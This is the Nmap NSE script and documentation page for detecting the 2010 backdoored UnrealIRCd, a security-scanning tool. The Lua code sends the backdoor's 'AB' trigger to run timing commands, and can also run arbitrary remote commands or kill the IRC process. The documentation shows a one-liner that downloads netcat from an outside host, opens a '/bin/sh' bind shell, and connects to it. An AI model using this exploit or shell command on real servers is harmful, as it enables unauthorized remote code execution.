irc-unrealircd-backdoor
NSE detection rule by Unknown · Same as Nmap--See https://nmap.org/book/man-legal.html
Checks if an IRC server is backdoored by running a time-based command (ping)
and checking how long it takes to respond.
The <code>irc-unrealircd-backdoor.command</code> script argument can be used to
run an arbitrary command on the remote system. Because of the nature of
this vulnerability (the output is never returned) we have no way of
getting the output of the command. It can, however, be used to start a
netcat listener as demonstrated here:
<code>
$ nmap -d -p6667 --script=irc-unrealircd-backdoor.nse --script-args=irc-unrealircd-backdoor.command='wget http://www.javaop.com/~ron/tmp/nc && chmod +x ./nc && ./nc -l -p 4444 -e /bin/sh' <target>
$ ncat -vv localhost 4444
Ncat: Version 5.30BETA1 ( https://nmap.org/ncat )
Ncat: Connected to 127.0.0.1:4444.
pwd
/home/ron/downloads/Unreal3.2-bad
whoami
ron
</code>
Metasploit can also be used to exploit this vulnerability.
In addition to running arbitrary commands, the
<code>irc-unrealircd-backdoor.kill</code> script argument can be passed, which
simply kills the UnrealIRCd process.
Reference:
* http://seclists.org/fulldisclosure/2010/Jun/277
* http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt
* http://www.metasploit.com/modules/exploit/unix/irc/unreal_ircd_3281_backdoor
local comm = require "comm"
local nmap = require "nmap"
local os = require "os"
local irc = require "irc"
local stdnse = require "stdnse"
local string = require "string"
description = [[
Checks if an IRC server is backdoored by running a time-based command (ping)
and checking how long it takes to respond.
The <code>irc-unrealircd-backdoor.command</code> script argument can be used to
run an arbitrary command on the remote system. Because of the nature of
this vulnerability (the output is never returned) we have no way of
getting the output of the command. It can, however, be used to start a
netcat listener as demonstrated here:
<code>
$ nmap -d -p6667 --script=irc-unrealircd-backdoor.nse --script-args=irc-unrealircd-backdoor.command='wget http://www.javaop.com/~ron/tmp/nc && chmod +x ./nc && ./nc -l -p 4444 -e /bin/sh' <target>
$ ncat -vv localhost 4444
Ncat: Version 5.30BETA1 ( https://nmap.org/ncat )
Ncat: Connected to 127.0.0.1:4444.
pwd
/home/ron/downloads/Unreal3.2-bad
whoami
ron
</code>
Metasploit can also be used to exploit this vulnerability.
In addition to running arbitrary commands, the
<code>irc-unrealircd-backdoor.kill</code> script argument can be passed, which
simply kills the UnrealIRCd process.
Reference:
* http://seclists.org/fulldisclosure/2010/Jun/277
* http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt
* http://www.metasploit.com/modules/exploit/unix/irc/unreal_ircd_3281_backdoor
]]
---
-- @args irc-unrealircd-backdoor.command An arbitrary command to run on the
-- remote system (note, however, that you won't see the output of your
-- command). This will always be attempted, even if the host isn't
-- vulnerable. The pattern <code>%IP%</code> will be replaced with the
-- ip address of the target host.
-- @args irc-unrealircd-backdoor.kill If set to <code>1</code> or
-- <code>true</code>, kill the backdoored UnrealIRCd running.
-- @args irc-unrealircd-backdoor.wait Wait time in seconds before executing the
-- check. This is recommended to set for more reliable check (100 is good
-- value).
--
-- @output
-- PORT STATE SERVICE
-- 6667/tcp open irc
-- |_irc-unrealircd-backdoor: Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277
--
author = {"Vlatko Kosturjak", "Ron Bowes"}
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"exploit", "intrusive", "malware", "vuln"}
portrule = irc.portrule
action = function(host, port)
local socket = nmap.new_socket()
local code, message
local status, err
local data
-- Wait up to this long for the server to send its startup messages and
-- a response to our noop_command. After this, send the full_command.
-- Usually we don't have to wait the full time because we can detect
-- the response to noop_command.
local banner_timeout = 60
-- Send a command to sleep this long. This just has to be long enough
-- to remove confusion from network delay.
local delay = 8
-- If the command takes (delay - delay_fudge) or more seconds, the server is vulnerable.
-- I defined the fudge as 1 second, for now, just because of rounding issues. In practice,
-- the actual delay should never be shorter than the given delay, only longer.
local delay_fudge = 1
-- We send this command on connection because comm.tryssl needs to send
-- something; it also allows us to detect the end of server
-- initialization.
local noop_command = "TIME"
-- The 'AB' sequence triggers the backdoor to run a command.
local trigger = "AB"
-- We define a highly unique variable as a type of 'ping' -- it lets us see when our
-- command returns. Typically, asynchronous data will be received after the initial
-- connection -- this lets us ignore that extra data.
local unique = "SOMETHINGUNIQUE"
-- On Linux, do a simple sleep command.
local command_linux = "sleep " .. delay
-- Set up an extra command, if the user requested one
local command_extra = ""
if(stdnse.get_script_args('irc-unrealircd-backdoor.command')) then
command_extra = stdnse.get_script_args('irc-unrealircd-backdoor.command')
-- Replace "%IP%" with the ip address
command_extra = string.gsub(command_extra, '%%IP%%', host.ip)
end
-- Windows, unfortunately, doesn't have a sleep command. Instead, we use 'ping' to
-- simulate a sleep (thanks to Ed Skoudis for teaching me this one!). We always want
-- to add 1 to the delay because the first ping happens instantly.
--
-- This is likely unnecessary, because the Windows version of UnrealIRCd is reportedly
-- not vulnerable. However, it's possible that some odd person may have compiled it
-- from the vulnerable sourcecode, so we check for it anyways.
local command_windows = "ping -n " .. (delay + 1) .. " 127.0.0.1"
-- Put together the full command
local full_command = string.format("%s;%s;%s;%s;%s", trigger, unique, command_linux, command_windows, command_extra)
-- wait time: get rid of fast reconnecting annoyance
if(stdnse.get_script_args('irc-unrealircd-backdoor.wait')) then
local waittime = stdnse.get_script_args('irc-unrealircd-backdoor.wait')
stdnse.debug1("waiting for %i seconds", waittime)
stdnse.sleep(waittime)
end
-- Send an innocuous command as fodder for tryssl.
stdnse.debug1("Sending command: %s", noop_command);
local socket, response = comm.tryssl(host, port, noop_command .. "\n", {recv_before=false})
-- Make sure the socket worked
if(not(socket) or not(response)) then
stdnse.debug1("Couldn't connect to remote host")
return nil
end
socket:set_timeout(banner_timeout * 1000)
-- Look for the end of initial server messages. This allows reverse DNS
-- resolution and ident lookups to time out and not interfere with our
-- timing measurement.
status = true
data = response
while status and not (string.find(data, noop_command) or string.find(data, " 451 ")) do
status, response = socket:receive_bytes(0)
if status then
data = data .. response
end
end
if not status then
stdnse.debug1("Receive failed after %s: %s", noop_command, response)
return nil
end
-- Send the backdoor command.
stdnse.debug1("Sending command: %s", full_command);
status, err = socket:send(full_command .. "\n")
if not status then
stdnse.debug1("Send failed: %s", err)
return nil
end
-- Get the current time so we can measure the delay
local time = os.time(os.date('*t'))
socket:set_timeout((delay + 5) * 1000)
-- Accumulate the response in the 'data' string
status = true
data = ""
while not string.find(data, unique) do
status, response = socket:receive_bytes(0)
if status then
data = data .. response
else
-- If the server unexpectedly closes the connection, it
-- is usually related to throttling. Therefore, we
-- print a throttling warning.
stdnse.debug1("Receive failed: %s", response)
socket:close()
return "Server closed connection, possibly due to too many reconnects. Try again with argument irc-unrealircd-backdoor.wait set to 100 (or higher if you get this message again)."
end
end
-- Determine the elapsed time
local elapsed = os.time(os.date('*t')) - time
-- Let the user know that everything's working
stdnse.debug1("Received a response to our command in " .. elapsed .. " seconds")
-- Determine whether or not the vulnerability is present
if(elapsed > (delay - delay_fudge)) then
-- Check if the user wants to kill the server.
if(stdnse.get_script_args('irc-unrealircd-backdoor.kill')) then
stdnse.debug1("Attempting to kill the Trojanned UnrealIRCd server...")
local linux_kill = "kill `ps -e | grep ircd | awk '{ print $1 }'`"
local windows_kill = 'wmic process where "name like \'%ircd%\'" delete'
local kill_command = string.format("%s||%s||%s", trigger, linux_kill, windows_kill)
-- Kill the process
stdnse.debug1("Running kill command: %s", kill_command)
socket:send(kill_command .. "\n")
end
stdnse.debug1("Looks like the Trojanned unrealircd is running!")
-- Close the socket
socket:close()
return "Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277"
end
-- Close the socket
socket:close()
stdnse.debug1("The Trojanned version of unrealircd probably isn't running.")
return nil
end